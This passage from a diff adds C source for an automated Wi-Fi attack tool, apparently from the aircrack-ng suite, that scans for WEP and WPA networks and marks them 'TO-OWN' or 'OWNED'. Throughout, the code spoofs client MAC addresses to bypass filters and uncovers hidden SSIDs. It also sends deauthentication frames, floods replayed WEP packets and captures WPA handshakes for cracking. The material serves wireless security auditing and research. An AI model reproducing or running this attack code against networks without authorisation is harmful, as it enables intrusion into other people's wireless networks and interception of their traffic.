+	if (memcmp(mac, _state.s_mac, 6) == 0) return;
+#if 0
+	if (wi_set_mac(_state.s_wi, mac) == -1)
+			err(1, "wi_set_mac()");
+#endif
+
+	char * mac_p = mac2string(mac);
+	ALLEGE(mac_p != NULL);
+	time_printf(V_VERBOSE,
+				"Can't set MAC - this'll suck."
+				" Set it manually to %s for best performance.\n",
+				mac_p);
+	free(mac_p);
+
+	memcpy(_state.s_mac, mac, 6);
+}
+
+static int have_mac(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	if (!n->n_mac_filter) return (1);
+
+	/* XXX try different clients based on feedback */
+	if (!n->n_client_mac) n->n_client_mac = n->n_clients.c_next;
+
+	if (!n->n_client_mac) return (0);
+
+	set_mac(n->n_client_mac->c_mac);
+
+	return (1);
+}
+
+static void attack_ping(void * a)
+{
+	REQUIRE(a != NULL);
+
+	struct network * n = a;
+
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;
+
+	if (n->n_ping_sent == 10)
+	{
+		int got = n->n_ping_got;
+		int sent = n->n_ping_sent;
+		int loss = 100 - ((double) got / (double) sent * 100.0);
+
+		if (loss < 0) loss = 0;
+
+		time_printf(V_VERBOSE,
+					"Ping results for %s %d/%d (%d%% loss)\n",
+					n->n_ssid,
+					got,
+					sent,
+					loss);
+
+		if (loss >= 80)
+		{
+			time_printf(V_NORMAL,
+						"Crappy connection - %s unreachable"
+						" got %d/%d (%d%% loss) [%d dbm]\n",
+						n->n_ssid,
+						got,
+						sent,
+						loss,
+						n->n_dbm);
+
+			n->n_astate = ASTATE_UNREACH;
+		}
+		else
+			n->n_astate = ASTATE_READY;
+
+		attack_continue(n);
+		return;
+	}
+
+	ping_send(n);
+
+	timer_in(100 * 1000, attack_ping, n);
+}
+
+#ifdef HAVE_PCRE
+static int is_filtered_essid(char * essid)
+{
+	REQUIRE(essid != NULL);
+
+	int ret = 0;
+
+	if (_conf.cf_essid_regex)
+	{
+		return pcre_exec(_conf.cf_essid_regex,
+						 NULL,
+						 (char *) essid,
+						 strnlen((char *) essid, MAX_IE_ELEMENT_SIZE),
+						 0,
+						 0,
+						 NULL,
+						 0)
+			   < 0;
+	}
+
+	return (ret);
+}
+#endif
+
+// this should always return true -sorbo
+static int should_attack(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	if (_conf.cf_bssid && memcmp(_conf.cf_bssid, n->n_bssid, 6) != 0)
+		return (0);
+
+#ifdef HAVE_PCRE
+	if (is_filtered_essid(n->n_ssid))
+	{
+		return (0);
+	}
+#endif
+
+	if (!n->n_have_beacon) return (0);
+
+	switch (n->n_astate)
+	{
+		case ASTATE_DONE:
+		case ASTATE_UNREACH:
+			if (_conf.cf_bssid) _state.s_state = STATE_DONE;
+			return (0);
+	}
+
+	if (n->n_crypto != CRYPTO_WEP && n->n_crypto != CRYPTO_WPA) return (0);
+
+	if (!_conf.cf_do_wep && n->n_crypto == CRYPTO_WEP) return (0);
+
+	return (1);
+}
+
+static inline int check_ownable(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	return (should_attack(n));
+}
+
+static inline int check_owned(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	/* resumed network */
+	if (n->n_beacon.p_len == 0) return (0);
+
+	return (n->n_astate == ASTATE_DONE);
+}
+
+static inline int check_unreach(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	return (n->n_astate == ASTATE_UNREACH);
+}
+
+static void print_list(char * label, check_cb cb)
+{
+	REQUIRE(label != NULL);
+
+	struct network * n = _state.s_networks.n_next;
+	int first = 1;
+
+	printf("%s [", label);
+
+	while (n)
+	{
+		if (cb(n))
+		{
+			if (first)
+				first = 0;
+			else
+				printf(", ");
+
+			printf("%s", n->n_ssid);
+			if (n->n_crypto == CRYPTO_WPA) printf("*");
+		}
+		n = n->n_next;
+	}
+
+	printf("]");
+}
+
+static void print_work(void)
+{
+	time_printf(V_NORMAL, "");
+
+	print_list("TO-OWN", check_ownable);
+	print_list(" OWNED", check_owned);
+	if (_conf.cf_verb > V_NORMAL) print_list(" UNREACH", check_unreach);
+
+	printf("\n");
+
+	save_log();
+}
+
+static void pwned(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	int s = (_state.s_now.tv_sec - n->n_start.tv_sec);
+	int m = s / 60;
+
+	s -= m * 60;
+
+	time_printf(
+		V_NORMAL, "Pwned network %s in %d:%.2d mins:sec\n", n->n_ssid, m, s);
+
+	n->n_astate = ASTATE_DONE;
+
+	print_work();
+}
+
+static struct network * attack_get(void)
+{
+	struct network *n = _state.s_networks.n_next, *start;
+
+	if (_state.s_curnet && _state.s_curnet->n_next) n = _state.s_curnet->n_next;
+
+	start = n;
+
+	while (n)
+	{
+		if (should_attack(n)) return (n);
+
+		n = n->n_next;
+		if (n == NULL)
+		{
+			/* reached head, lets scan for a bit */
+			if (_state.s_state == STATE_ATTACK) return (NULL);
+
+			n = _state.s_networks.n_next;
+		}
+		if (n == start) break;
+	}
+
+	return (NULL);
+}
+
+static void attack_next(void)
+{
+	struct network * n;
+
+	if ((n = attack_get()))
+	{
+		attack(n);
+		return;
+	}
+
+	if (_state.s_state == STATE_DONE) return;
+
+	/* we aint got people to pwn */
+	if (_state.s_state == STATE_ATTACK) scan_start();
+}
+
+static int watchdog_next(struct network * n)
+{
+	if (n->n_crypto == CRYPTO_WEP && n->n_astate == ASTATE_WEP_FLOOD
+		&& n->n_replay_got)
+	{
+		int diff;
+		int to = _conf.cf_floodwait * 1000 * 1000;
+
+		diff = time_diff(&n->n_replay_last, &_state.s_now);
+
+		if (diff < to) return (to - diff);
+	}
+
+	return (0);
+}
+
+static void attack_watchdog(void * arg)
+{
+	REQUIRE(arg != NULL);
+
+	struct network * n = arg;
+	int next;
+
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;
+
+	next = watchdog_next(n);
+
+	if (next <= 0 || next >= INT_MAX)
+	{
+		time_printf(V_VERBOSE, "Giving up on %s for now\n", n->n_ssid);
+		attack_next();
+	}
+	else
+		timer_in(next, attack_watchdog, n);
+}
+
+static void network_auth(void * a)
+{
+	REQUIRE(a != NULL);
+
+	struct network * n = a;
+
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
+		|| n->n_wstate != WSTATE_NONE)
+		return;
+
+	if (!have_mac(n)) return;
+
+	time_printf(V_VERBOSE, "Authenticating...\n");
+
+	send_auth(n);
+
+	timer_in(_conf.cf_to * 1000, network_auth, n);
+}
+
+static void do_assoc(struct network * n, int stype)
+{
+	REQUIRE(n != NULL);
+
+	unsigned char buf[2048];
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	uint16_t * rc = (uint16_t *) (wh + 1);
+	unsigned char * p;
+
+	fill_basic(n, wh);
+	memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
+	memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2));
+	memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3));
+
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | stype;
+
+	*rc++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY
+					| IEEE80211_CAPINFO_SHORT_PREAMBLE);
+	*rc++ = htole16(0);
+
+	p = (unsigned char *) rc;
+
+	if (stype == IEEE80211_FC0_SUBTYPE_REASSOC_REQ)
+	{
+		memcpy(p, n->n_bssid, sizeof(n->n_bssid));
+		p += sizeof(n->n_bssid);
+	}
+
+	*p++ = IEEE80211_ELEMID_SSID;
+	*p++ = strlen(n->n_ssid);
+	memcpy(p, n->n_ssid, strlen(n->n_ssid));
+	p += strlen(n->n_ssid);
+
+	// rates
+	*p++ = IEEE80211_ELEMID_RATES;
+	*p++ = 8;
+	*p++ = 2 | 0x80;
+	*p++ = 4 | 0x80;
+	*p++ = 11 | 0x80;
+	*p++ = 22 | 0x80;
+	*p++ = 12 | 0x80;
+	*p++ = 24 | 0x80;
+	*p++ = 48 | 0x80;
+	*p++ = 72;
+
+	/* x-rates */
+	*p++ = IEEE80211_ELEMID_XRATES;
+	*p++ = 4;
+	*p++ = 48;
+	*p++ = 72;
+	*p++ = 96;
+	*p++ = 108;
+
+	wifi_send(wh, (unsigned long) p - (unsigned long) wh);
+}
+
+static void network_assoc(void * a)
+{
+	REQUIRE(a != NULL);
+
+	struct network * n = a;
+
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
+		|| n->n_wstate != WSTATE_AUTH)
+		return;
+
+	do_assoc(n, IEEE80211_FC0_SUBTYPE_ASSOC_REQ);
+
+	time_printf(V_VERBOSE, "Associating...\n");
+
+	timer_in(_conf.cf_to * 1000, network_assoc, n);
+}
+
+static int need_connect(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	if (n->n_crypto == CRYPTO_WPA) return (0);
+
+	switch (n->n_astate)
+	{
+		case ASTATE_READY:
+		case ASTATE_WEP_PRGA_GET:
+		case ASTATE_WEP_FLOOD:
+			return (1);
+
+		default:
+			return (0);
+	}
+}
+
+static int network_connect(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	switch (n->n_wstate)
+	{
+		case WSTATE_NONE:
+			network_auth(n);
+			break;
+
+		case WSTATE_AUTH:
+			network_assoc(n);
+			break;
+
+		case WSTATE_ASSOC:
+			return (1);
+	}
+
+	return (0);
+}
+
+static void prga_get(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	if (n->n_replay_len)
+	{
+		n->n_astate = ASTATE_WEP_FLOOD;
+		attack_continue(n);
+	}
+}
+
+static void speed_add(struct speed * s)
+{
+	REQUIRE(s != NULL);
+
+	if (s->s_start.tv_sec == 0)
+		memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start));
+
+	s->s_num++;
+}
+
+static void speed_calculate(struct speed * s)
+{
+	REQUIRE(s != NULL);
+
+	int diff = time_diff(&s->s_start, &_state.s_now);
+
+	if (diff < (1000 * 1000)) return;
+
+	s->s_speed = (int) ((double) s->s_num / ((double) diff / 1000.0 / 1000.0));
+
+	memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start));
+	s->s_num = 0;
+}
+
+static void do_flood(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) n->n_replay;
+
+	if (!network_connect(n)) return;
+
+	memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2));
+
+	wifi_send(n->n_replay, n->n_replay_len);
+	speed_add(&n->n_flood_out);
+}
+
+static void wep_flood(void * a)
+{
+	REQUIRE(a != NULL);
+
+	struct network * n = a;
+
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
+		|| n->n_astate != ASTATE_WEP_FLOOD)
+		return;
+
+	do_flood(n);
+
+	timer_in(_conf.cf_floodfreq, wep_flood, n);
+}
+
+static void replay_check(void * a)
+{
+	REQUIRE(a != NULL);
+
+	struct network * n = a;
+
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
+		|| n->n_astate != ASTATE_WEP_FLOOD)
+		return;
+
+	if (n->n_replay_got > 3) return;
+
+	n->n_replay_len = 0;
+	n->n_astate = ASTATE_WEP_PRGA_GET;
+}
+
+static void start_flood(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	n->n_replay_got = 0; /* refresh replay packet if it sucks */
+
+	timer_in(5 * 1000 * 1000, replay_check, n);
+	wep_flood(n);
+}
+
+static void attack_wep(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	if (!n->n_ssid[0])
+	{
+		n->n_astate = ASTATE_DEAUTH;
+		deauth(n);
+		return;
+	}
+
+	if (!network_connect(n)) return;
+
+	switch (n->n_astate)
+	{
+		case ASTATE_READY:
+			n->n_astate = ASTATE_WEP_PRGA_GET;
+		/* fallthrough */
+		case ASTATE_WEP_PRGA_GET:
+			prga_get(n);
+			break;
+
+		case ASTATE_WEP_FLOOD:
+			start_flood(n);
+			break;
+	}
+}
+
+static void attack_continue(struct network * n)
+{
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;
+
+	REQUIRE(n != NULL);
+
+	switch (n->n_astate)
+	{
+		case ASTATE_NONE:
+			n->n_astate = ASTATE_PING;
+		/* fall through */
+		case ASTATE_PING:
+			n->n_ping_got = n->n_ping_sent = 0;
+			attack_ping(n);
+			return;
+
+		case ASTATE_DONE:
+			pwned(n);
+		/* fallthrough */
+		case ASTATE_UNREACH:
+			if (_conf.cf_bssid)
+				_state.s_state = STATE_DONE;
+			else
+				attack_next();
+			return;
+	}
+
+	switch (n->n_crypto)
+	{
+		case CRYPTO_WPA:
+			attack_wpa(n);
+			break;
+
+		case CRYPTO_WEP:
+			attack_wep(n);
+			break;
+	}
+}
+
+static void attack(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	_state.s_curnet = n;
+	_state.s_state = STATE_ATTACK;
+
+	channel_set(n->n_chan);
+
+	char * mac = mac2string(n->n_bssid);
+	ALLEGE(mac != NULL);
+	time_printf(V_VERBOSE, "Pwning [%s] %s\n", n->n_ssid, mac);
+	free(mac);
+
+	if (n->n_start.tv_sec == 0)
+		memcpy(&n->n_start, &_state.s_now, sizeof(n->n_start));
+
+	if (!_conf.cf_bssid)
+		timer_in(_conf.cf_attackwait * 1000 * 1000, attack_watchdog, n);
+
+	n->n_attempts++;
+
+	attack_continue(n);
+}
+
+static void found_new_client(struct network * n, struct client * c)
+{
+	REQUIRE(n != NULL);
+	REQUIRE(c != NULL);
+
+	char * mac = mac2string(c->c_mac);
+	ALLEGE(mac != NULL);
+	time_printf(
+		V_VERBOSE, "Found client for network [%s] %s\n", n->n_ssid, mac);
+	free(mac);
+
+	if (n->n_mac_filter && !n->n_client_mac) attack_continue(n);
+}
+
+static void found_new_network(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	struct client * c = n->n_clients.c_next;
+
+	network_print(n);
+
+	while (c)
+	{
+		found_new_client(n, c);
+		c = c->c_next;
+	}
+
+	if (_conf.cf_bssid
+		&& memcmp(n->n_bssid, _conf.cf_bssid, sizeof(n->n_bssid)) == 0)
+	{
+		if (should_attack(n))
+		{
+			attack(n);
+		}
+		else
+		{
+			time_printf(V_NORMAL, "Can't attack %s\n", n->n_ssid);
+			_state.s_state = STATE_DONE;
+		}
+	}
+}
+
+static void packet_copy(struct packet * p, void * d, int len)
+{
+	REQUIRE(p != NULL);
+	REQUIRE(len <= (int) sizeof(p->p_data));
+
+	p->p_len = len;
+	memcpy(p->p_data, d, len);
+}
+
+static void packet_write_pcap(int fd, struct packet * p);
+
+static void found_ssid(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	unsigned char * p;
+	int ssidlen;
+	int origlen;
+
+	char * mac = mac2string(n->n_bssid);
+	ALLEGE(mac != NULL);
+	time_printf(V_NORMAL, "Found SSID [%s] for %s\n", n->n_ssid, mac);
+	free(mac);
+
+	/* beacon surgery */
+	p = n->n_beacon.p_data + sizeof(struct ieee80211_frame) + 8 + 2 + 2;
+
+	ssidlen = strlen(n->n_ssid);
+	ALLEGE((n->n_beacon.p_len + ssidlen) <= (int) sizeof(n->n_beacon.p_data));
+
+	ALLEGE(*p == IEEE80211_ELEMID_SSID);
+	p++;
+
+	origlen = *p;
+	*p++ = ssidlen;
+
+	ALLEGE(origlen == 0 || p[0] == 0);
+
+	memmove(p + ssidlen,
+			p + origlen,
+			n->n_beacon.p_len - (p + origlen - n->n_beacon.p_data));
+	memcpy(p, n->n_ssid, ssidlen);
+
+	n->n_beacon.p_len += ssidlen - origlen;
+
+	if (n->n_client_handshake)
+	{
+		n->n_astate = ASTATE_WPA_CRACK;
+		attack_continue(n);
+	}
+
+	if (n->n_crypto == CRYPTO_WEP)
+	{
+		n->n_astate = ASTATE_READY;
+		attack_continue(n);
+	}
+}
+
+static int parse_rsn(struct network * n, unsigned char * p, int l, int rsn)
+{
+	REQUIRE(n != NULL);
+	REQUIRE(p != NULL);
+
+	int c;
+	unsigned char * start = p;
+	int psk = 0;
+
+	if (l < 2 || l >= INT_MAX) return (0);
+
+	if (memcmp(p, "\x01\x00", 2) != 0) return (0);
+
+	n->n_crypto = CRYPTO_WPA;
+
+	if (l < 8) return (-1);
+
+	p += 2;
+	p += 4;
+
+	/* cipher */
+	c = le16toh(*((uint16_t *) p));
+
+	p += 2 + 4 * c;
+
+	if (l < ((p - start) + 2)) return (-1);
+
+	/* auth */
+	c = le16toh(*((uint16_t *) p));
+	p += 2;
+
+	if (l < ((p - start) + c * 4)) return (-1);
+
+	while (c--)
+	{
+		if (rsn && memcmp(p, "\x00\x0f\xac\x02", 4) == 0) psk = 1;
+
+		if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0) psk = 1;
+
+		p += 4;
+	}
+
+	ALLEGE(l >= (p - start));
+
+	if (!psk) n->n_crypto = CRYPTO_WPA_MGT;
+
+	return (0);
+}
+
+static int parse_elem_vendor(struct network * n, unsigned char * e, int l)
+{
+	REQUIRE(n != NULL);
+	REQUIRE(e != NULL);
+
+	struct ieee80211_ie_wpa * wpa = (struct ieee80211_ie_wpa *) e;
+
+	if (l < 5) return (0);
+
+	if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0) return (0);
+
+	if (l < 8) return (0);
+
+	if (wpa->wpa_type != WPA_OUI_TYPE) return (0);
+
+	return (parse_rsn(n, (unsigned char *) &wpa->wpa_version, l - 6, 0));
+}
+
+static void
+wifi_beacon(struct network * n, struct ieee80211_frame * wh, int totlen)
+{
+	REQUIRE(n != NULL);
+	REQUIRE(wh != NULL);
+
+	unsigned char * p = (unsigned char *) (wh + 1);
+	int bhlen = 8 + 2 + 2;
+	int new = 0;
+	int len = totlen;
+	int hidden = 0;
+	int ssids = 0;
+
+	totlen -= sizeof(*wh);
+
+	if (totlen < bhlen) goto __bad;
+
+	if (!(IEEE80211_BEACON_CAPABILITY(p) & IEEE80211_CAPINFO_PRIVACY)) return;
+
+	if (!n->n_have_beacon) new = 1;
+
+	n->n_have_beacon = 1;
+	n->n_crypto = CRYPTO_WEP;
+	n->n_dbm = _state.s_ri->ri_power;
+
+	p += bhlen;
+	totlen -= bhlen;
+
+	while (totlen > 2)
+	{
+		int id = *p++;
+		int l = *p++;
+
+		totlen -= 2;
+
+		if (totlen < l) goto __bad;
+
+		switch (id)
+		{
+			case IEEE80211_ELEMID_SSID:
+				if (++ssids > 1) break;
+
+				if (l == 0 || p[0] == 0)
+					hidden = 1;
+				else
+				{
+					memcpy(n->n_ssid, p, l);
+					n->n_ssid[l] = 0;
+				}
+				break;
+
+			case IEEE80211_ELEMID_DSPARMS:
+				n->n_chan = *p;
+				break;
+
+			case IEEE80211_ELEMID_VENDOR:
+				if (parse_elem_vendor(n, &p[-2], l + 2) == -1) goto __bad;
+				break;
+
+			case IEEE80211_ELEMID_RSN:
+				if (parse_rsn(n, p, l, 1) == -1) goto __bad;
+				break;
+
+			default:
+				//			printf("id %d len %d\n", id, l);
+				break;
+		}
+
+		p += l;
+		totlen -= l;
+	}
+
+	if (new)
+	{
+		packet_copy(&n->n_beacon, wh, len);
+		found_new_network(n);
+
+		if (hidden && n->n_ssid[0]) found_ssid(n);
+
+		if (ssids > 1 && should_attack(n))
+		{
+			char * mac = mac2string(n->n_bssid);
+			ALLEGE(mac != NULL);
+			time_printf(V_NORMAL,
+						"WARNING: unsupported multiple SSIDs"
+						" for network %s [%s]\n",
+						mac,
+						n->n_ssid);
+			free(mac);
+		}
+	}
+
+	return;
+__bad:
+	printf("\nBad beacon\n");
+}
+
+static inline int for_us(struct ieee80211_frame * wh)
+{
+	REQUIRE(wh != NULL);
+
+	return memcmp(wh->i_addr1, _state.s_mac, sizeof(wh->i_addr1)) == 0;
+}
+
+static inline void has_mac_filter(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	time_printf(V_VERBOSE, "MAC address filter on %s\n", n->n_ssid);
+	n->n_mac_filter = 1;
+}
+
+static void wifi_auth(struct network * n, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(n != NULL);
+	REQUIRE(wh != NULL);
+
+	uint16_t * p = (uint16_t *) (wh + 1);
+	int rc;
+
+	if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad;
+
+	rc = le16toh(p[2]);
+
+	if (for_us(wh) && rc != 0)
+	{
+		if (!n->n_mac_filter) has_mac_filter(n);
+	}
+
+	if (for_us(wh) && n->n_astate == ASTATE_PING)
+	{
+		ping_reply(n, wh);
+		return;
+	}
+
+	if (for_us(wh) && n->n_wstate == ASTATE_NONE && need_connect(n))
+	{
+		if (le16toh(p[0]) != 0 || le16toh(p[1]) != 2) return;
+
+		if (le16toh(p[2]) == 0)
+		{
+			n->n_wstate = WSTATE_AUTH;
+			time_printf(V_VERBOSE, "Authenticated\n");
+			network_connect(n);
+		}
+	}
+
+	return;
+__bad:
+	printf("Bad auth\n");
+}
+
+static void found_mac(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	if (!n->n_mac_filter || n->n_got_mac) return;
+
+	ALLEGE(n->n_client_mac != NULL);
+
+	char * mac = mac2string(n->n_client_mac->c_mac);
+	ALLEGE(mac != NULL);
+	time_printf(V_NORMAL, "Found MAC %s for %s\n", mac, n->n_ssid);
+	free(mac);
+
+	n->n_got_mac = 1;
+}
+
+static void
+wifi_assoc_resp(struct network * n, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(n != NULL);
+	REQUIRE(wh != NULL);
+
+	uint16_t * p = (uint16_t *) (wh + 1);
+
+	if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad;
+
+	if (for_us(wh) && n->n_wstate == WSTATE_AUTH)
+	{
+		if (le16toh(p[1]) == 0)
+		{
+			int aid = le16toh(p[2]) & 0x3FFF;
+
+			n->n_wstate = WSTATE_ASSOC;
+			time_printf(
+				V_NORMAL, "Associated to %s AID [%d]\n", n->n_ssid, aid);
+
+			found_mac(n);
+
+			attack_continue(n);
+		}
+		else
+			time_printf(V_NORMAL, "Assoc died %d\n", le16toh(p[1]));
+	}
+
+	return;
+__bad:
+	printf("Bad assoc resp\n");
+}
+
+static void grab_hidden_ssid(struct network * n,
+							 struct ieee80211_frame * wh,
+							 int len,
+							 int off)
+{
+	REQUIRE(n != NULL);
+	REQUIRE(wh != NULL);
+
+	unsigned char * p = ((unsigned char *) (wh + 1)) + off;
+	int l;
+
+	if (n->n_ssid[0]) return;
+
+	len -= sizeof(*wh) + off + 2;
+
+	if (len < 0) goto __bad;
+
+	if (*p++ != IEEE80211_ELEMID_SSID) goto __bad;
+
+	l = *p++;
+	if (l > len) goto __bad;
+
+	if (l == 0) return;
+
+	memcpy(n->n_ssid, p, l);
+	n->n_ssid[l] = 0;
+
+	if (!n->n_have_beacon) return;
+
+	found_ssid(n);
+	return;
+__bad:
+	printf("\nbad grab_hidden_ssid\n");
+	return;
+}
+
+static void wifi_mgt(struct network * n, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(wh != NULL);
+
+	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+	{
+		case IEEE80211_FC0_SUBTYPE_BEACON:
+			wifi_beacon(n, wh, len);
+			break;
+
+		case IEEE80211_FC0_SUBTYPE_AUTH:
+			wifi_auth(n, wh, len);
+			break;
+
+		case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
+			wifi_assoc_resp(n, wh, len);
+			break;
+
+		case IEEE80211_FC0_SUBTYPE_DEAUTH:
+			if (for_us(wh) && need_connect(n))
+			{
+				REQUIRE(n != NULL);
+
+				time_printf(V_VERBOSE, "Got deauth for %s\n", n->n_ssid);
+				n->n_wstate = WSTATE_NONE;
+				network_connect(n);
+			}
+			break;
+
+		case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
+			grab_hidden_ssid(n, wh, len, 2 + 2);
+			break;
+
+		case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
+			grab_hidden_ssid(n, wh, len, 2 + 2 + 6);
+			break;
+
+		case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
+			grab_hidden_ssid(n, wh, len, 8 + 2 + 2);
+			break;
+
+		default:
+			if (for_us(wh))
+			{
+				printf("UNHANDLED MGMT %d\n",
+					   (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+						   >> IEEE80211_FC0_SUBTYPE_SHIFT);
+			}
+			break;
+	}
+}
+
+static inline void wifi_ctl(struct ieee80211_frame * wh, int len)
+{
+	UNUSED_PARAM(wh);
+	UNUSED_PARAM(len);
+}
+
+static unsigned char * get_client_mac(struct ieee80211_frame * wh)
+{
+	REQUIRE(wh != NULL);
+
+	unsigned char * bssid = get_bssid(wh);
+	int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
+
+	if (type == IEEE80211_FC0_TYPE_CTL) return (NULL);
+
+	if (!bssid) return (wh->i_addr2);
+
+	if (bssid == wh->i_addr1)
+		return (wh->i_addr2);
+	else
+		return (wh->i_addr1);
+}
+
+static struct client * client_get(struct network * n,
+								  struct ieee80211_frame * wh)
+{
+	REQUIRE(n != NULL);
+
+	struct client * c = n->n_clients.c_next;
+	unsigned char * cmac = get_client_mac(wh);
+
+	if (!cmac) return (NULL);
+
+	while (c)
+	{
+		if (memcmp(c->c_mac, cmac, 6) == 0) return (c);
+
+		c = c->c_next;
+	}
+
+	return (NULL);
+}
+
+static struct client * client_update(struct network * n,
+									 struct ieee80211_frame * wh)
+{
+	REQUIRE(n != NULL);
+	REQUIRE(wh != NULL);
+
+	unsigned char * cmac = get_client_mac(wh);
+	struct client * c;
+	int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
+
+	if (!cmac) return (NULL);
+
+	/* let's not pwn ourselves */
+	if (memcmp(cmac, _state.s_mac, sizeof(_state.s_mac)) == 0) return (NULL);
+
+	if (cmac == wh->i_addr1)
+	{
+		if (memcmp(cmac, BROADCAST, 6) == 0) return (NULL);
+
+		/* multicast */
+		if (memcmp(cmac, "\x01\x00\x5e", 3) == 0) return (NULL);
+
+		/* ipv6 multicast */
+		if (memcmp(cmac, "\x33\x33", 2) == 0) return (NULL);
+
+		/* MAC PAUSE */
+		if (memcmp(cmac, "\x01\x80\xC2", 3) == 0) return (NULL);
+
+		/* fuck it */
+		if (cmac[0] == 0x01) return (NULL);
+	}
+
+	/* here we can choose how conservative to be */
+	if (type == IEEE80211_FC0_TYPE_MGT)
+	{
+		switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+		{
+			case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
+				break;
+
+			case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
+			default:
+				return (NULL);
+		}
+	}
+
+	c = client_get(n, wh);
+	if (!c)
+	{
+		c = xmalloc(sizeof(*c));
+
+		memset(c, 0, sizeof(*c));
+
+		memcpy(c->c_mac, cmac, sizeof(c->c_mac));
+		c->c_next = n->n_clients.c_next;
+		n->n_clients.c_next = c;
+
+		if (n->n_have_beacon
+			&& (n->n_crypto == CRYPTO_WPA || n->n_crypto == CRYPTO_WEP))
+			found_new_client(n, c);
+	}
+
+	return (c);
+}
+
+static void process_eapol(struct network * n,
+						  struct client * c,
+						  unsigned char * p,
+						  int len,
+						  struct ieee80211_frame * wh,
+						  int totlen)
+{
+	REQUIRE(n != NULL);
+
+	int num, i;
+
+	if (n->n_client_handshake) return;
+
+	num = eapol_handshake_step(p, len);
+	if (num == 0) return;
+
+	REQUIRE(c != NULL);
+
+	/* reset... should use time, too.  XXX conservative - check retry */
+	if (c->c_wpa == 0 || num <= c->c_wpa)
+	{
+		for (i = 0; i < 4; i++) c->c_handshake[i].p_len = 0;
+
+		c->c_wpa_got = 0;
+	}
+
+	c->c_wpa = num;
+
+	switch (num)
+	{
+		case 1:
+			c->c_wpa_got |= 1;
+			break;
+
+		case 2:
+			c->c_wpa_got |= 2;
+			c->c_wpa_got |= 4;
+			break;
+
+		case 3:
+			REQUIRE(p != NULL);
+			if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 1;
+
+			c->c_wpa_got |= 4;
+			break;
+
+		case 4:
+			REQUIRE(p != NULL);
+			if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 2;
+
+			c->c_wpa_got |= 4;
+			break;
+
+		default:
+			abort();
+	}
+
+	packet_copy(&c->c_handshake[num - 1], wh, totlen);
+
+	time_printf(V_VERBOSE,
+				"Got WPA handshake step %d (have %d) for %s\n",
+				num,
+				c->c_wpa_got,
+				n->n_ssid);
+
+	if (c->c_wpa_got == 7)
+	{
+		n->n_client_handshake = c;
+
+		time_printf(
+			V_NORMAL, "Got necessary WPA handshake info for %s\n", n->n_ssid);
+
+		n->n_client_mac = c;
+		found_mac(n);
+
+		if (n->n_ssid[0])
+		{
+			n->n_astate = ASTATE_WPA_CRACK;
+			attack_continue(n);
+		}
+	}
+}
+
+static int is_replayable(struct ieee80211_frame * wh, int len)
+{
+	unsigned char clear[2048];
+	int dlen = len - 4 - 4;
+	int clearsize;
+	int weight[16];
+
+	known_clear(clear, &clearsize, weight, (void *) wh, dlen);
+	if (clearsize < 16) return (0);
+
+	return (1);
+}
+
+static void get_replayable(struct network * n,
+						   struct ieee80211_frame * wh,
+						   unsigned char * body,
+						   int len)
+{
+	if (!is_replayable(wh, len)) return;
+
+	REQUIRE(n != NULL);
+
+	if (n->n_replay_len) return;
+
+	n->n_replay_got = 0;
+
+	REQUIRE(wh != NULL);
+
+	assert(len + sizeof(*wh) <= (int) sizeof(n->n_replay));
+
+	REQUIRE(body != NULL);
+
+	memcpy(&n->n_replay[sizeof(*wh)], body, len);
+	n->n_replay_len = len + sizeof(*wh);
+
+	wh = (struct ieee80211_frame *) n->n_replay;
+	fill_basic(n, wh);
